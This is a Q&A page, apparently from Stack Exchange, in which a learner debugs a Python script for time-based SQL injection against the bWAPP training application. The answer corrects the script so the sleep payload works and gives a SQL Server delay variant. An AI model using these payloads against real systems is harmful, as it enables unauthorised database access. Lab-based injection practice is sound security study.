基于时间的SQL注入Python脚本异常求助:sleep无延迟问题
基于时间的SQL注入脚本无延迟问题排查
在学习SQL注入时,在bWAPP环境中测试基于时间的注入,预期sleep(1)会产生延迟,但运行Python脚本后无任何延迟,修改SQL语句后仍未解决。
问题代码
import requests import time st=time.time() print(st) res=requests.get("http://localhost:9999/sqli_15.php?title=s'+or+1=1+and+sleep(1)+#+&action=search",{"Cookie":"security_level=0; PHPSESSID=4sg0nucv70bhulmtrs0du0avk2"}) print(res.raise_for_status) if time.time() - st > 1: print(1) else: print(0) print(time.time())
运行结果
1666677336.2546937 <bound method Response.raise_for_status of <Response [200]>> 0 1666677336.270689
解决思路
- 修正Cookie传递方式:原代码将Cookie字典作为
requests.get的第二个参数(该参数对应URL参数params),导致Cookie未被正确放入请求头。需改用cookies参数传递:res = requests.get( "http://localhost:9999/sqli_15.php?title=s'+or+1=1+and+sleep(1)+%23&action=search", cookies={"security_level": "0", "PHPSESSID": "4sg0nucv70bhulmtrs0du0avk2"} ) - URL编码注释符:URL中的
#是锚点标识,会被HTTP客户端截断,需替换为URL编码后的%23,确保后端能接收到完整的SQL注释语句,避免语法错误导致sleep(1)不执行。 - 验证会话与安全级别:确认
PHPSESSID有效,且security_level=0已正确传递,可手动在浏览器中访问构造的URL,检查是否存在延迟,排除环境配置问题。 - 确认数据库函数兼容性:bWAPP默认使用MySQL,
sleep(1)语法正确,若环境为其他数据库需调整延迟函数(如SQL Server用WAITFOR DELAY '00:00:01')。
内容的提问来源于stack exchange,提问作者Hui Su
相关产品推荐
相关产品推荐

